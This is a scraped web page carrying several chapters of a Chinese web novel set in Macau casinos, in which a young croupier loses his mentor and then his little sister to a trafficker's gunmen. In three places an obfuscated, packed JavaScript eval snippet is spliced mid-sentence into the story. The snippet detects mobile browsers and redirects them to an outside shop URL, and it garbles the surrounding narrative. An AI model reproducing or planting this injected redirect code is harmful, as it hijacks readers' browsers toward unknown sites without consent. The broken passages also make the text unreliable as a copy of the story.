莫楠这才意识到齐无尽还坐在床上,立刻闭了嘴,嘿嘿笑了几声。 齐无尽抬起眼,不知怎么,嘴角轻轻向上牵动了一下。 莫楠眼睛一亮,像发现了新大陆,激动地指着齐无尽:“笑了!他刚才笑了!医生你看见没?!他笑了!从我把他带回来到现在,我就没见他笑过!” 齐无尽:“……” 他面无表情站起身,去找妹妹,陪她看海绵宝宝去了。留下莫楠在后面跳脚:“哎你别走啊!再笑一个看看嘛!” 后来,齐无尽正式进入永乐宫学习。 莫楠成了他的老师,从最基础的荷官技术教起,洗牌、发牌、摇骰、控盘等等。莫楠耐心不好,教急了会骂人,气急了会跳起来敲他。偶尔看到镜子里自己美丽动人的脸,又立刻消气,耐着性子重新教。 几次之后,每次莫楠来给他上课,他都会在墙上挂一面镜子。效果显著,莫楠的“暴力教学”频率下降。 他学得也极快,几乎是以一种透支生命的专注去掌握。连九爷偶尔路过训练室,看到他自虐般的练习强度,都忍不住挑眉。莫楠为此非常满意,经常拍着他的肩膀,跟永乐宫其他荷官炫耀。 两个月后,齐无尽已经在新一批学徒中脱颖而出,手法娴熟,心态沉稳,远超那些比他大好几岁的人。 于是,莫楠将他叫到一间无人的包间,桌上摊着一副崭新的扑克牌。 “小子,你知道什么是‘出千’吗?” 齐无尽摇了摇头。 莫楠笑了一下,没说话,她从面前的牌堆里随意地抽出一张方片A,亮给齐无尽。 然后她抬起手,手指似乎只是轻微地动了一下,齐无尽甚至没看清她的动作,只觉得眼前一花,再定睛看时,她指尖夹着的方片A,已经变成了梅花A。 “这就是出千的一类。”莫楠道,“手法,障眼法,心理误导,甚至用道具,花样多着呢。” 齐无尽愣了几秒,问:“被抓到会怎么样?” 莫楠耸了耸肩:“看场合,看人。轻则剁掉几根手指,重则被扔海里喂鱼。” “不过你也别觉得出千是什么十恶不赦。在赌场,庄家可能出千,赌客更可能出千,连端茶倒水的侍应生都可能偷看你的牌去通风报信。所以你不光要会做,还得会防。” 316.昨日港 从那天起,莫楠开始教齐无尽赌术的另一面,以及如何在赌桌之外生存的法则。 哪些人可以稍微得罪,哪些人必须毕恭毕敬;什么样的牌局可能有诈,什么样的客人需要特别留意;如果利用信息差,如何建立自己的人脉网。 “如果张景那个畜生。”莫楠提到他的名字,语气就冷了下来,“在你没有绝对把握能一把扳倒他之前,就千万别去招惹,连一丝把柄都不能落在他手里。君子报仇,十年不晚。” 于是,齐无尽更加不要命地提升自己,学习一切能学的东西,抓住一切能抓住的机会,在澳门复杂的人际关系和权力网中向上攀爬。 他等着那一天,等着亲手把张景的头颅拧下来的那一天。 而对妹妹齐无恙,齐无尽不准她靠近赌场,不准她碰任何和赌博有关的东西,不能接触自己的工作。 齐无恙和普通孩子一样,白天去学校上学,晚上回家写作业。齐无尽从永乐宫回来,无论多晚,总会给她带一点赌场厨房的小点心,或者编造一些美好安宁的童话故事。 有时候,那些同事会说,阿尽,你不能把你妹妹护得这么紧,什么都不让她知道。这世道,好人难做,坏人太多。你得让她明白这世间的邪恶,知道人心能脏到什么地步,她才能真的看懂人,才能学会分辨,才能完全保护好自己。 齐无尽知道,他们说的话可能是有道理的,可是这些道理太沉重了。 他会教妹妹基本的防身技巧,告诉她陌生人的东西不能吃,不能跟不熟悉的人去陌生的地方,身体哪些部位不能让别人碰,遇到危险该怎么办。而那些她知道了也无力改变,只会让她恐惧颤抖的事,他一个字都不会提。 齐无恙才这么小,她的世界应该是由海绵宝宝派大星、由动画片尾曲、由学校新发的课本、由哥哥带回来的甜甜的蛋挞组成。她应该每晚都能睡个好觉,而不是在睡梦中都担心会不会有人突然闯进来害她。 齐无尽十六岁的时候,在永乐宫已经声名鹊起,赢得了许多常客的赞赏与信任。 赌客们心照不宣地共同保守着他“未满二十一”的秘密,他的能力获得了越来越多大佬的青睐,手中的资源和权利逐渐累积,能接触到的事情也越来越多。他不再是当年那个轻易就会被别人捏死的孩子。而无恙,也平安健康地长大,出落得活泼开朗。 一切似乎都在朝着好的方向发展。 在齐无尽十七岁的那年,莫楠的状态开始变得不太对劲。 她抽烟抽得更凶了,经常一包接着一包,酒也喝得多了,有时候一个人能一包烟一瓶酒,在客厅的落地窗前坐一整晚,沉默地叹气。 她在永乐宫训练室呆的时间也越来越长,对着赌桌反复练习控牌手法。晚上她回来得越来越晚,参加各种各样的饭局,与那些熟悉的老板周旋。偶尔齐无尽深夜起来喝水,还能听见她在书房里压低声音打电话。 齐无恙也注意到了她的反常。 “楠姐,你怎么了?”齐无尽有一次忍不住问。 “没事儿!”莫楠挥了挥手,“最近生意忙,烦死了,忙得老娘都长痘了!你看!”她指着自己光洁得根本找不到毛孔的脸颊,理直气壮。 齐无恙也仰着脸,担忧地看着她:“楠姐姐,你是不是不开心?” 莫楠一把将她抱起来,在她脸上响亮地亲了一口:“哪有!我们无恙这么可爱,楠姐开心着呢!” 那年十一月份的一天晚上,莫楠忽然回来得格外早。她把齐无尽叫到客厅,让齐无恙先去睡觉。然后拿出一个黑色丝绒盒子,推到齐无尽面前。 “小子,你长大了。”莫楠罕见地认真道,“明年你就成年了,时间过得真快。” 齐无尽心头一跳,看着她。 莫楠继续道:“银海峰景那边,我有一套房子,已经转到你名下了。很干净,没人知道那里跟我们有关。指纹锁已经录了你和无恙的指纹,你们随时都可以住在那里。” 她点了点那个盒子:“这里面有张银行卡,里面有四百万。这钱是留给你和无恙的,以后你也可以往里面存钱。” 齐无尽的心猛地沉了下去,这种交代后事般的感觉让他慌了。 “楠姐!你为什么要突然把这些给我?”他紧张道,“是不是……是不是出事了?是不是张景找你麻烦了?我——” 莫楠抬手敲在他脑门上,瞪着眼:“急什么急什么!要是真有事,我还能坐在这儿跟你好好聊天?早跑路了。” “我过几天要笔大单子,很重要的生意,牵扯的人多,也杂。澳门这边盯着我的人不少,所以暂时把房子和钱放你这边,稳妥。” 她又笑了笑,靠在沙发里:“等这笔单子做完,该清的账清掉,该断的线断掉。我们就不在澳门待了。” 齐无尽下意识:“去哪?” “葡萄牙,里斯本。”莫楠眼睛微微亮起,“我从小就想去那儿,听说那边的黄昏特别美,屋顶是红色的,石板路,有轨电车,老浪漫了。” “去了那边,更安全。张景他们的手伸不了那么长,不可能来里斯本把你们怎么样。你呢,也不用再整天泡在赌场里,提心吊胆。以后就带着无恙,过点平安普通的日子。读书,工作,晒太阳,看海。你英文不是很好吗,说不定能搞个翻译员当当。” ……远离澳门,远离张景,远离这一切的泥沼,确实是不错的未来。 齐无恙后来知道这件事,开心得在沙发上跳了好几下,拉着莫楠的手问东问西,眼睛亮晶晶的。 “楠姐姐,里斯本的海是不是特别蓝?” “楠姐姐,我们去了那边,还能养一只小猫吗?” “楠姐姐,我们什么时候走啊?” 莫楠捏着她的小脸,笑道:“快了,等姐姐忙完这阵子,我们就走。给你养只蓝眼睛的布偶猫,好不好?” “好!”齐无恙用力点头。 变故发生在几天后的一个深夜。 骤雨初歇,玻璃上还挂着水珠,折射着楼下零星的路灯光。齐无尽刚把写完作业的齐无恙哄睡着,关上她卧室的灯,自己也打算回房休息。 砰砰砰!砰砰砰! 公寓的门突然被剧烈敲响,外面传来一个急促的声音: “阿尽!齐无尽!开门!快开门!” 不详的预感瞬间袭来,齐无尽忙拉开门。阿七一下子跌撞进来,差点扑倒在地。他满脸惊恐,头发被雨水打湿,贴在惨白的脸上,衣服也凌乱不堪。阿五也来了,站在他身后,同样满脸慌张,嘴唇都在打哆嗦。 “阿尽!阿尽!不好了!出事了!出大事了!”阿七一把抓住齐无尽的胳膊,抖得厉害。 “慢慢说!怎么回事?!”齐无尽扶住他。 “楠姐……楠姐她……”阿七语无伦次,眼泪和冷汗混在一起往下淌,“她去了黑鸢尾!就、就是张景办的那个!我我我,我听到消息……就在刚刚……赌客抓到她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这是齐无尽第二次踏入铂金皇宫,第一次,是被像货物一样押送进来,满心恐惧和屈辱。而这一次,恐惧?恶心?什么都没有了,他脑子里只有一句话:找到她,找到楠姐。 他顾不上可能会遇到张景,和阿七无视了所有侍应生和保安,顺着楼梯一路狂奔上三楼。 走廊尽头,还是一扇雕花木门,虚掩着。 齐无尽脚步踉跄了一下,稳住身形,用尽全身力气推开了那扇门。映入眼帘的,是他此生都无法忘记,也无法摆脱的画面—— 赌桌边围着几个衣着华贵的男人和女人,脸上没什么表情。桌上散落着筹码和扑克牌,酒瓶歪倒。 而莫楠,就趴在赌桌边。 她侧着头,红色的短发遮住了半边脸,一只手还搭在桌沿。她的两侧太阳穴上,各有一个清晰的黑洞。 血流得不多,从黑洞里流淌下来,一滴,一滴,砸在地毯上。 齐无尽站在那里,张了张嘴:“……楠姐?” 下一秒,他和阿七同时想要冲过去! “站住!”几个保镖从旁边闪出,面无表情地张开手臂,拦住他们的去路。 “滚开!”齐无尽伸出手试图推开这些保镖,盯着那个趴在桌边再也不会动的人:“让我过去!楠姐!楠姐你醒醒!你看看我!楠姐!!!” 阿七也哭喊着,拼命想要上前:“求求你们!让我们看看她!楠姐!楠姐啊!怎么会这样……楠姐!!” 更多的保镖涌了进来,将他们两人死死拦住,反剪手臂,捂住嘴巴,将他们往后拉。 317.昨日港 周围的赌客朝这边看过来,叹息地摇了摇头,然后便转身,从容地离开了这个房间。 过了一会儿,几个穿着白大褂的人提着担架走了进来,他们绕过齐无尽和阿七,熟练地抬起莫楠的身体,将她放上担架。另一个人展开惨白的布,从头到脚将她盖上。 “放下她!”齐无尽目眦欲裂,用尽全身力气想要扑上去! 保镖死死按着他,捂住他嘴巴,力气大到仿佛要捏碎他的下颌骨,将他硬生生往门外拖。阿七也被同样对待,只能发出呜咽。 他们被拖到门外,只能眼睁睁看着那副盖着白布的担架,被几个人抬着迅速离开。鲜红的血滴从白布的边缘渗出,断断续续地滴落,在地毯上留下一道蜿蜒的痕迹。 赌桌很快被侍应生清理干净,换上了崭新的桌布。留下的赌客也陆续离开。 齐无尽觉得,楠姐是打算赢下那场牌局,然后真的带他们远走高飞,去里斯本的。 她提前给的那些房子和钱,哪里是什么暂时存放,分明就是防止她自己回不来了,好让他和无恙能在澳门有个相对安全的落脚点,不被张景那些人轻易找到。 可是,到底是什么样的牌局?到底要赢下什么东西,值得她拼上性命?值得她明知是张景的地盘,是龙潭虎穴,还要一头闯进去? 她怎么就……这么死了? 这么突然,这么荒谬,一切都像一场滑稽戏。 只过了几个小时,铂金皇宫就有人传来消息,面无表情地通知齐无尽:莫楠的遗体已经被火化了,骨灰已经按照家属意愿埋进了九澳那边的墓地,天知道他们从哪里来的“家属意愿”。 消息被封锁得很死,除了永乐宫和铂金皇宫内部极少数人,澳门这纸醉金迷的夜色下,没有任何人知道,就在几个小时前,有一个叱咤风云的红头发的女荷官死在了牌桌上。 齐无尽回到莫楠公寓时,天还没亮透。齐无恙已经醒了,坐在客厅沙发上,脸上还有未干的泪痕,眼睛红肿。 阿五陪在她身边,见齐无尽进门,张了张嘴,涩声道:“……你妹她……猜到了。她半夜醒了,我妹没瞒住……” 齐无恙今年也十岁了,不是什么都不懂的小孩子了,怎么可能骗得过她? 齐无恙从沙发上滑下来,慢慢走到齐无尽面前,仰起脸,轻轻拉了拉他的袖子。 “哥哥……”她的声音小小的,“以后……都见不到楠姐姐了,对吗?” 齐无尽强忍着几乎要夺眶而出的泪水,蹲下身,将妹妹紧紧地抱在怀里,下巴抵在她的发顶,声音微微发颤:“无恙……,楠姐姐去了一个很远的地方,但是,她会一直陪着我们的。如果……如果无恙想楠姐姐了,哥哥就带你去一个地方看她。那里有她的照片,我们可以跟她说说话。哥哥会一直陪着你,一直陪着你……” 阿五站在一旁,猛地背过手去,抬手狠狠抹了一把脸。 没等天亮,齐无尽就收拾了简单的行李,带着齐无恙搬进了银海峰景的那套房子。 他听说,那几天有铂金皇宫的人在到处打听他和齐无恙的位置,但银海峰景这地方,隐蔽性好,莫楠当初安排得也周全,那些人暂时没摸过来。 莫楠死后的很长一段时间,齐无尽都没能真正接受。 偶尔推开永乐宫训练室的门,他都会下意识喊一声:“楠姐!”话音未落,自己先愣住。空荡荡的训练室里只有赌桌和墙上挂着的镜子,映出他苍白又茫然的脸。 他原本打算,就在那个时候带着齐无恙离开澳门,飞去里斯本的。 但那段时间风声太紧,张景不知道动了什么手脚,他们无法正常购买离境的机票,甚至连靠近码头和机场附近都可能被盯上。直到走到靠近铂金皇宫的位置,齐无尽必须戴上帽子,严严实实地遮住自己的红发。 去里斯本的计划,不得不暂时搁置。 齐无尽一边继续在永乐宫工作,利用一切机会暗中调查黑鸢尾和莫楠死亡的真相,一边更加拼命地存钱。 他没有动莫楠留给他的那张卡,四百万,一分没取。他固执地认为,那是楠姐的钱,得留着,等她……等她有机会自己来花。他把自己赚到的每一分钱都存进了另一张新开的卡里。 在他十八岁那年的冬天,澳门湿冷的空气里开始飘起圣诞和新年的气氛时,那张卡里的余额已经高达八百万。而经过一年多的暗中打点,他和齐无恙的身份也干净了许多,能安全地购买机票,办理手续了。 于是,在一个寒冷但晴朗的夜晚,他把齐无恙叫到客厅。 “无恙。”他看着坐在旁边的妹妹,温和道,“哥哥告诉你一个好消息。” ‘“哥哥已经买好了去里斯本的机票,也跟哥哥工作的地方,还有你学校,都讲好了。接下来你只需要待在家里,收拾一下自己想带的东西。下周,我们就直接去机场,上飞机,离开这里。” 齐无恙坐在他旁边,认真地听着。她眼睛里有期待兴奋的光微微亮起,但不如去年听到“里斯本”时那么明亮璀璨。莫楠的离去也笼罩在了这个小孩子的心上,她在担心,哥哥会不会安全回来。 齐无尽叹了口气,伸手摸了摸妹妹的头发。妹妹长大了些,红色长发扎成了小丸子。眉眼长开了点,和齐无尽有六七分相似,但轮廓更柔和,明眸善睐。 “哥哥。”她看着齐无尽,“你一定要安全回来。” “好,哥哥答应你,一定会安全回来,带你离开澳门。我们去楠姐姐说的那种,有红色屋顶和漂亮黄昏的地方。”齐无尽重重点了点头。 齐无恙看着他,然后伸出右手的小拇指,举到两人中间。 就像很久以前,在那个冰冷恐怖的铂金皇宫房间里,她做过的那样。 “拉钩,上吊。”她一字一句地说,“哥哥说话算话,一定要安全回来。” 齐无尽也伸出手,小拇指勾住妹妹的指节,紧紧缠绕。 “一百年,不许变。”他郑重地许下诺言。 这次是真的。 九爷得知他要离开的消息,非常舍不得他。这个他看着长大的年轻人,是他近些年见过最有天赋也最肯吃苦的一个。 “真要走了?”九爷坐在他的办公桌后,揉了揉眉心,“里斯本……也好,那地方安静。” 他从抽屉里摸出一张名片,推到齐无尽面前:“拿着。到了那边,注意安全。异国他乡的,不比澳门,凡事多留个心眼。真要遇上什么自己摆不平的麻烦,一定要联系我,我能帮上的,一定帮。” 齐无尽接过那张薄薄的名片,深深鞠了一躬:“谢谢九爷。” 上飞机的前一天晚上,齐无尽最后一次踏入永乐宫,完成最后工作交接,并带完预定好的最后一场私人牌局,算是善始善终。 他换上那身熟悉的荷官制服,白衬衫,黑马甲,袖口挽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17237696|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起,露出清瘦、线条流畅的手腕。镜子里的青年,眉目疏冷,红发有些过长,因为不会打理,稍乱地搭在额前,眼底带着微光,像天刚黑不久时出现的那一两颗星星,微弱又耀眼。 推开顶级VIP包厢的木门,齐无尽刚一抬头,大脑嗡地一声,像被重锤击中,所有声音远去,血液倒流,四肢冰冷—— 包厢里灯光调得很暗,昂贵的雪茄烟雾缭绕。沙发主位上,坐着一个人。 张景。 他穿着深灰色西装,头发一丝不苟,双腿交叠,一只手夹着雪茄,正似笑非笑地看着门口。周围或站或坐,至少七八个保镖,将空间塞得满满当当。 齐无尽四肢百骸克制不住地发起抖来,他下意识就往后退了一步。 身后,一个保镖抬手猛地抵住他肩膀,毫不客气地将他往前一推。 齐无尽踉跄着跌进房间,身后的门被关上,落锁,一个冰凉的物体抵上了他的后脑勺。保镖贴到他耳边,压低声音,冷冰冰道:“别乱动。” 张景看着他狼狈站稳,嘴角还挂着温和的笑意,仿佛这只是老友久别重逢。 “阿尽,”他温和亲切地开口,“见到我怎么也不打声招呼,转身就打算跑了?这几年,规矩都忘光了?” 齐无尽站在原地,背脊笔直,指甲掐进掌心,用疼痛强迫自己冷静下来。他抬起眼,看向沙发上的男人,声音发紧:“……张景?” 张景无奈地摇了摇头,叹了口气:“长大了,翅膀硬了,都生疏了。以前你可不是这么叫我的啊。那时候,我让你叫什么,你就得叫什么,声音又软又乖,你——” “闭嘴!”齐无尽猛地打断他,声音拔高,“你来这里干什么?!” 张景将雪茄搁在一旁,身体前倾,双手交叉放在膝盖上,好整以暇地看着他。 “当然是来接你回去的。”他理所当然道,“阿尽,这么多年,带着你妹妹在外面东躲西藏,不苦吗?不累吗?莫楠都死了,她护不住你们的。为了你们自己的安全,跟我回铂金皇宫吧。你刚成年没多久,你妹妹才十一岁,铂金皇宫顶层还有和你们年纪一样的孩子,那里永远还有你们的位置,是你们的家。” 家? 齐无尽只觉得一股恶寒直冲头顶,简直要冷笑出声。他冰冷地注视着张景:“张景,你做梦。当年你确实花钱买下了我和我妹,但楠姐已经把我们带走了。从她带走我们的那一刻起,我和无恙就是自由身。你,没资格再带我们回去。” “自由身?”张景意味不明地笑了一声,眼神里带着嘲弄和……怜悯?他道,“看来,莫楠到死都没把那件事告诉你啊,她还是真护着你的。” 当时的齐无尽还不明白张景话里的“那件事”指的是什么。直到他后来进入《昨日港》副本,看到那份契约,才恍然大悟,心如刀绞。 “看来,好好说话是没有用了。”张景淡淡道,他抬了抬手,对着周围的保镖示意,“先把他带走。” 话落,两个保镖立刻扑上,一左一右狠狠扣住齐无尽的胳膊。另一个保镖收起抵在他后脑的枪,转用枪柄狠狠砸向他的腹部! “唔——!”齐无尽闷哼一声,剧痛炸开,眼前发黑,胃里翻江倒海,身体蜷缩下去,额头上冒出冷汗。 窒息的痛苦中,他听见张景的声音从头顶传来: “带走,小心点,别弄伤了脸。其他人,去找他妹妹。” 318.昨日港 永乐宫顶层办公室,九爷端起茶杯,吹了吹浮沫,随口问站在一旁的阿五:“阿尽现在带的那场牌局,客人是谁?提前好几天就指定要他。” 阿五低头翻了翻手里的预约记录,念道:“是……张先生。” 九爷动作一顿,转头看她:“哪个张先生?” 阿五下意识:“就是铂金皇宫的那位,张景,张先生啊。怎么了?” 哐当一声!九爷手里的茶杯猛地掉在地毯上,茶水泼了一地。他脸色瞬间铁青,霍然起身,连外套都顾不上,大步就朝门外冲! “阿五!”他一边疾走一边喝道,“立刻派人去银海峰景,找到齐无尽的妹妹,用最快速度把她转移到安全屋!然后马上报警,去找齐无尽!快!快去!” 包厢内,两个保镖一左一右架着因为腹部剧痛而暂时失去反抗能力的齐无尽,拖着他往门口走。齐无尽低垂着头,红发遮住了眼睛,身体微微颤抖,看起来像是认命了。 就在一个保镖伸手去拧门把手时—— 齐无尽猛地抬头,眼底寒光乍现! 他猛地发力,右腿狠狠向后踹去,命中身后保镖的膝盖。接着硬生生从另一名保镖的钳制中抽出胳膊,转身握紧拳手,手肘重重砸在第二名保镖的胸口! 两声惨叫响起,电光火石间,齐无尽已经扑向包厢的窗户。 他没有丝毫犹豫,抬起一脚就狠狠踹向玻璃中央! 整扇玻璃应声爆碎!碎片在灯光下折射出五彩斑斓的光芒,一串血滴被他的拳头带起。 “操!他要跳窗!”身后传来保镖惊怒交加的骂声。 齐无尽头也不回,纵身跃入窗外的夜色! 这里只是二楼,下方就是永乐宫后巷,他落地时蜷身翻滚,翻身爬起,拔腿就朝着巷子深处狂奔。 “快追!别让他跑了!”包厢内传来张景的怒吼。紧接着,一个又一个黑影跟着跳窗而下,杂乱的追赶脚步声响起,随即是毫不掩饰的枪声! 砰!砰!砰!子弹打在身边的砖墙上,溅起火星。 齐无尽跑得更快,喉咙里传来淡淡的血腥味,肺叶火辣辣地疼。他什么都顾不上了,脑海里只有一句话:不能被抓住,不能再落回张景手里。 前方巷子边堆着一个巨大的绿色垃圾箱,他刚跑过去,暂时和身后追兵拉开了一点距离,侧后方一道劲风突然袭来! ——一个早早埋伏在此的保镖猛地蹿出,如同蛰伏的毒蛇,高高举起手中的甩棍,朝着齐无尽的肩膀狠狠砸落! 砰! 齐无尽被砸得向前扑去,肩胛骨可能断了,他硬撑着自己没倒下,反而借势转身,趁着对方没反应过来,一把夺过他手里的甩棍,反手重重砸在那保镖的后脑勺上。 咚!保镖哼都没哼一声,软软倒地。 前方巷道里开进来一辆宾利,车灯亮起,黑暗的巷道瞬间雪亮,照出前方空地里闪出的三四个身影,手里拿着甩棍或枪,直挺挺把齐无尽包围在中间,朝着他扑过来。 齐无尽侧身,避开迎面而来的拳头,肘部狠狠顶在另一个肋下!矮下身体,一记扫堂腿将第三人放倒在地。 后面的追兵也越来越近,脚步声如鼓点敲在他心头。 就在这生死一线的混乱中,他耳尖一动,捕捉到身后传来一声极其轻微的声响——手枪保险被拉开的声音。 一个追上来的保镖举起了手枪,黑洞洞的枪口稳稳对准了他正在殴打同伴的后背,手指抠向扳机! ——“哥哥!” 凄厉的声音不知从哪里响起! 一个小小的身躯不顾一切地冲了出来,猛地撞向齐无尽的后背!齐无尽被撞得向前踉跄了半步,紧接着,他听到了一声短促的轻响,像血肉被贯穿,就发生在他身后,近在咫尺。 他感觉到腰部被一双手臂从后方死死抱住,那手臂那么细,那么用力,甚至还在微微发抖。 温热的液体浸透了他后背单薄的衣衫,迅速蔓延开来,烫得他皮肤一阵刺痛。 齐无尽无比僵硬地缓慢转过身,齐无恙像失去了所有支撑,软软地向前倒去。他下意识伸出臂弯,恰好接住了她下滑的身体。 轻。那么轻。仿佛所有的重量和生命都随着那颗子弹飞走了,只剩下一具正在迅速冷却的躯壳。 他紧紧抱着她,手掌立刻被滚烫的液体浸透。那红色在昏暗的光线下,和她头发的颜色那么像,又那么不同,刺目得让他眼前瞬间只剩下铺天盖地的血红。 巷子里追来的脚步声、怒骂声、命令声……所有都在这一刻骤然远去,最终只剩下持续不断的嗡鸣,充斥着他整个耳膜,整个世界。 齐无尽低下头。 看见一张苍白的,小小的脸,皮肤上还沾着刚刚赶路来时蹭到的灰尘。那双总是亮晶晶地眼睛,此刻睁得很大,望着他。瞳孔里映着巷口漏进来的、破碎的霓虹灯光,还有他自己那张茫然的倒影。 齐无恙的嘴唇微微动了一下,似乎想对着哥哥笑一下。就像往常一样,或者,想说点什么。 但最终,只有鲜红的血沫从她嘴角溢出来,流过下巴,滴落在齐无尽环抱着她的手臂上。 “无恙……?” 他听到有人发出干涩的声音,好像是从他自己喉咙里挤出来的。 齐无恙没有回答,眼睛里的光微弱地晃动了几下,然后熄灭了。一直抱着他腰的力气也随之抽离。她的脑袋无力地歪向一侧,靠在他怀里,红色的发梢轻轻拂过他的下巴。 世界失去了声音,失去了颜色,失去了所有的意义。 他眼里只看得到那如海水般散开的红发,和怀中人胸口不断渗血的伤口。 齐无尽的身体开始不受控制地发抖,从指尖到手臂,到肩膀,再到整个躯体。他不知道自己在想什么,不知道该有什么情绪,不知道该怎么办。 他甚至忘记了呼吸,忘记了身后的危险,忘记了澳门,忘记了一切。 过了几秒,他发出一声微弱到听不见的呜咽。然后,那呜咽陡然拔高,变成了撕心裂肺的嚎啕大哭!声音在巷子里回荡,凄厉,绝望,悲怆,让闻者心头发麻。 追上来的保镖慢慢围拢了,脚步声停在周围。他们举着枪,但看着中间那个抱着妹妹的尸体,哭得天地变色的青年,一时间竟无人上前。 张景分开人群,走了过来。他看着齐无尽怀里已经毫无生气的齐无恙,先是一愣,随即暴怒起来。 “妈的!”他气急败坏地在齐无尽的哭声中骂道,“谁开的枪?!啊?!谁让你们开枪的?!我要活的!活的!听懂了吗?!那小的怎么死了?!她死了还有什么用?!” 他指着齐无尽,又指向齐无恙的尸体:“我要的是活的!我没有恋尸癖!我要的是能让他听话的!现在呢?啊?!现在他妈的还能有个屁用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17237697|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?!” 齐无尽像疯了一样,胡乱地去摸齐无恙的手腕脉搏,去探她的鼻息,甚至像小时候在颠簸的货车里那样,用自己的皮肤去贴向妹妹的胳膊,试图去感受那一点点暖意。 没有。 什么都没有。 脉搏是死的。呼吸是停的。皮肤的温度正在他怀里流失,变得和他指尖一样冰凉。 为什么…… 死的不应该是他吗? 张景他们来抓的是他,开枪瞄准的也是他,死的应该是他啊! 为什么无恙会突然出现在这里?为什么那颗子弹会打在她身上? 为什么为什么为什么为什么?!! 为什么死的是无恙?! 为什么楠姐会死?!为什么无恙也会死?! 为什么只留下我一个人?!! 为什么我什么都阻止不了?!为什么我保护不了她们?! 我还没有带无恙去里斯本,没有带她去看海,没有陪她看完新一季的《海绵宝宝》……我答应过她的……我明明答应过她的…… 远处,由远及近,传来了尖锐的警笛声,划破了夜的寂静,也刺穿了齐无尽混沌崩溃的大脑,猛地将他从绝望的泥沼中短暂地拉出来。 他猛地抬起头,死死盯住几步之外的张景。 下一秒,他像彻底失去理智的困兽,猛地朝张景扑了过去,死死抓住张景的衣领,嘶哑道:“你他妈不是来抓我的吗?!!为什么他们把我妹打死了?!啊?!你他妈为什么让他们用枪?!为什么?!为什么死的不是我?!!” 张景被他撞得后退几步,眉头紧皱,试图挥开他的手,但齐无尽抓得死紧。 “我真他妈刚刚就应该跟你走!!”齐无尽嘶吼道,“不然我妹就不会死!我跟你走!我现在就跟你走!你他妈让我妹复活!你让她活过来好不好?!你不是想操/我吗?!你来啊!我他妈还是那句话,你让我妹活下去!!她怎么就中枪了?!你的人乱开什么枪?!为什么不对准我开?!怎么死的不是你?死的不是我?怎么是我妹?!!” 巨大的悲痛和愤怒彻底摧毁了他的理智。警笛声越来越近,已经隐约能看到红蓝光芒在巷口闪烁。 张景的脸色阴沉狭隘,他猛地发力,一把挥开齐无尽的手,让他向后踉跄了几步,险些摔倒。 “疯子!”张景低骂一声,转头对其他保镖喝道,“把他押回去!看好了!” 几个保镖对视一眼,看着齐无尽状若疯魔,却又因为刚才的嘶吼脱力的样子,犹豫了一下,但还是上前,一左一右按住了他的肩膀。 齐无尽没有反抗,抱着妹妹的尸体,任由他们按着,往黑色宾利的方向拖拽。 张景已经坐进了车里,见状不耐烦地降下车窗,冷声道:“把你怀里那玩意儿扔了!人都死了,进丢这儿得了,喂狗去算了。” 齐无尽抱着齐无恙的手臂收得更紧,仿佛要与那具小小的身体融为一体,至死也不分离。 张景对车外一个保镖示意:“打晕他,快点的!” 那个保镖抬手,掌刀瞄准了齐无尽的后颈—— “我去你大爷的!!!” 一道人影从巷口另一侧疾冲而来,伴随着一声怒骂,狠狠踹在那个举手的保镖腰侧。那个保镖惨叫一声,整个人被踹得横飞出去,重重撞在墙壁上! 齐无尽空茫地转过头。 319.昨日港 阿五满脸愤怒,眼睛也是通红的。她看也没看周围的保镖,一把抓住齐无尽的手腕:“快走!” 她拉着齐无尽,齐无尽则紧紧抱着齐无恙,朝着巷子深处狂奔而去! “追!快追!”剩下的保镖反应过来,拔腿就追,但没人敢再轻易开枪。 阿五对这片区域比那群保镖熟悉得多,拉着齐无尽几个拐弯,就消失在这迷宫般的后巷子里。张景坐在车内,看着手下空手而回,脸色阴沉。 “妈的!”他狠狠一拳在座椅上,烦躁地一甩手,“赶紧走!一会儿警察要到了!” 黑色宾利发动,眨眼间就离开了这片混乱的街区,只留下满地狼藉。 齐无尽一路都是茫然的,他被阿五拉着七拐八绕,意识却像被抽离了躯壳,悬浮在半空,俯瞰着下面行尸走肉般的自己。 周围只剩下嗡鸣,他感觉不到身上任何的疼痛,感觉不到冷,感觉不到累。除了远处隐约传来的圣诞歌,他只能感觉到怀里已经变冷僵硬的身体。 不知过了多久,他被拉进一个隐蔽的小房间里。 九爷带人等在屋内,见到他们来,连忙迎上来:“哎呀哎呀!可算来了!怎么样了?怎么都伤成这个样子了?没事就……” 他的声音戛然而止,目光落在齐无尽怀里那个了无生气的身躯上,后面的话硬生生咽了回去,脸色也跟着白了几分。 这哪是没事的样子。 齐无尽面无表情地站在原地,只是死死环抱着妹妹的尸体。他眼神涣散,精神明显开始恍惚,对外界的反应变得极其迟钝,整个人依旧在发抖。 “怎么抖得这么厉害……”九爷一把抱住他,轻轻拍着他的背安抚道,“是不是冷的……阿尽,阿尽……” 他和阿五对视一眼,都从对方眼中看到了无奈。这样下去不行。 没办法,九爷让手下找来两片安眠药,又倒了杯水,给齐无尽灌了下去。齐无尽没有太多挣扎,或许他已经没有力气挣扎。 